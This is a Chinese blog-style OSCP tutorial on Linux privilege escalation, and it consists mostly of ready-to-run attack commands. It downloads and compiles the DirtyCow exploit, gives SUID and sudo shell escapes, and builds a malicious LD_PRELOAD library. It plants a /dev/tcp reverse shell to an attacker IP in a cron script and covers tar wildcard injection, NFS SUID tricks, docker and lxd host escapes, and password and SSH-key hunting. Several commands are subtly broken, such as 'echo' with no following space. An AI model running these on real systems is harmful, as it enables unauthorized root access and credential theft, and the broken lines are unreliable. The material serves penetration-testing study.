兄弟们,拿到一个Linux shell只是开始。如果你只是一个普通用户,那就像在皇宫里当扫地太监,看得见宝藏但摸不着。今天,我们就来聊聊怎么从“扫地太监”升级成“皇帝”(root)。
Linux权限提升,说白了就是从低权限用户(比如www-data)变成最高权限用户(root)。在OSCP考试和真实渗透中,这几乎是必考技能。今天,我总结了九种最常用的提权方法,手把手教你“翻身做主人”。
提权就像打仗,情报第一。拿到一个shell,别急着瞎搞,先摸摸系统里有什么。
系统信息
# 看系统内核版本,找已知漏洞
uname -a
cat /etc/issue
cat /proc/version
# 环境变量,可能有密码
env
# 找SUID/SGID文件(重点!)
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# 找可写目录/文件
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v "/proc/"
# 定时任务(重点!)
cat /etc/crontab
ls -la /etc/cron*
crontab -l
用户和组
# 当前用户
whoami
id
# 用户列表
cat /etc/passwd
# 组列表
cat /etc/group
# 查看sudo权限(重点!)
sudo -l
# 历史命令,可能有密码
cat ~/.bash_history
网络和服务
# 网络接口
ifconfig
ip a
# 活动连接
netstat -tuln
ss -tuln
# 进程
ps aux
ps -ef
自动化工具
记住:信息收集越详细,提权成功率越高。别懒,把每条命令都跑一遍。
如果内核版本比较老,有公开漏洞,那提权就像捅破一层纸。
步骤
uname -asearchsploit linux kernel 3.13 或者去Exploit-DB网站搜。经典内核漏洞
示例:DirtyCow利用
# 下载漏洞利用代码
wget https://www.exploit-db.com/download/40839 -O dirty.c
# 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 执行,设置新root密码
./dirty password
# 然后用新密码su root
注意:内核漏洞利用可能让系统崩溃,在生产环境要小心。但在OSCP考试里,放心用。
SUID(Set User ID)是Linux的特殊权限,允许用户以文件所有者的权限执行程序。如果文件所有者是root,那我们就赚大了。
查找SUID文件
find / -perm -u=s -type f 2>/dev/null
常见可利用的SUID文件
find:最经典的SUID提权。
find . -exec /bin/sh -p \; -quit
vim/vi:如果vim有SUID权限。
vim -c ':!/bin/sh'
bash:如果bash有SUID权限。
bash -p
less/more:用来读文件,但也能执行命令。
less /etc/passwd
# 在less界面里输入
!/bin/sh
nmap(旧版本):nmap以前有交互模式。
nmap --interactive
!sh
cp/mv:如果能以root权限复制/移动文件,可以替换系统文件(如/etc/passwd)来添加root用户。
GTFOBins:这是一个宝藏网站(gtfobins.github.io),收录了各种可以用来提权的二进制文件。遇到不熟悉的SUID文件,先去这里查。
Sudo允许普通用户以root权限执行特定命令。如果管理员配置不当,给用户的sudo权限太大,就容易被利用。
查看sudo权限
sudo -l
常见sudo提权方法
sudo执行编辑器(如vim、nano):
sudo vim
# 在vim里执行
:!/bin/bash
sudo执行解释器(如python、perl):
sudo python -c 'import os; os.system("/bin/bash")'
sudo执行find:
sudo find . -exec /bin/bash \;
sudo执行man:
sudo man man
# 在man里执行
!/bin/bash
sudo执行awk:
sudo awk 'BEGIN {system("/bin/bash")}'
sudo执行nmap(新版本):
echo'os.execute("/bin/bash")' > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
环境变量利用
如果sudo配置了env_keep,保留了LD_PRELOAD等环境变量,我们可以劫持共享库。
# 创建恶意共享库
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
system("/bin/bash -p");
}
EOF
# 编译
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
# 利用
sudo LD_PRELOAD=/tmp/evil.so <允许的命令>
计划任务(cron jobs)通常以root权限定期运行。如果任务调用的脚本或程序我们可以修改,那就可以“守株待兔”,等root自己执行我们的恶意代码。
查找计划任务
cat /etc/crontab
ls -la /etc/cron*
crontab -l
利用方法
echo'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' >> /path/to/script.sh
通配符利用
如果计划任务里使用了通配符,比如:
tar cf /backup/backup.tar *
我们可以利用tar的--checkpoint参数注入命令。
# 创建恶意脚本
echo'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /home/user/runme.sh
chmod +x /home/user/runme.sh
# 创建特殊文件名
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
# 等待tar执行
# 然后运行
/tmp/rootbash -p
NFS(网络文件系统)配置不当,也可能导致提权。如果NFS共享配置了no_root_squash选项,那么客户端上的root用户在挂载的共享上保持root权限。
检查NFS共享
# 在攻击机上
showmount -e 目标IP
利用步骤
在攻击机上挂载NFS共享:
mkdir /tmp/nfs
mount -t nfs 目标IP:/共享路径 /tmp/nfs
在挂载的共享上创建SUID程序:
cat > /tmp/nfs/root.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
编译并设置SUID权限:
gcc /tmp/nfs/root.c -o /tmp/nfs/root
chmod u+s /tmp/nfs/root
在目标服务器上执行(需要能登录目标服务器):
/path/to/shared/root
密码和凭证查找
# 配置文件里找密码
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
# 找SSH私钥
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
# 历史命令
cat ~/.bash_history
PATH环境变量利用
如果root用户执行的脚本中调用了没有绝对路径的命令,我们可以通过修改PATH,让系统执行我们自己的恶意程序。
# 假设root执行的脚本里调用了`service`命令
# 我们创建一个恶意service程序
echo'/bin/bash' > /tmp/service
chmod +x /tmp/service
# 修改PATH
export PATH=/tmp:$PATH
# 等待root脚本执行
库劫持
利用LD_LIBRARY_PATH环境变量,劫持共享库。
Docker组成员
如果用户属于docker组,可以挂载主机文件系统。
docker run -v /:/mnt -it alpine chroot /mnt sh
LXD/LXC组成员
类似Docker,如果用户属于lxd或lxc组,可以创建特权容器。
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exectest /bin/bash
拿到root权限,别急着庆祝,先做这几件事:
/etc/shadow,尝试破解。知道怎么攻击,才能更好防御。给管理员的建议:
Linux提权就像闯关游戏,需要耐心和技巧。从信息收集开始,一步步尝试各种方法。在OSCP考试中,通常不止一种提权方法,如果一种不行,赶紧换另一种。
下期预告:Linux提权讲完了,下次我们讲Windows提权。从User到SYSTEM,又是一场硬仗。关注我,带你通关OSCP。
互动一下:你在提权过程中,用过最骚的操作是什么?是SUID、sudo还是内核漏洞?评论区分享你的故事。
(本文所有技术内容仅用于合法授权的安全测试与学习,任何未经授权的攻击行为均属违法,必将受到法律严惩。)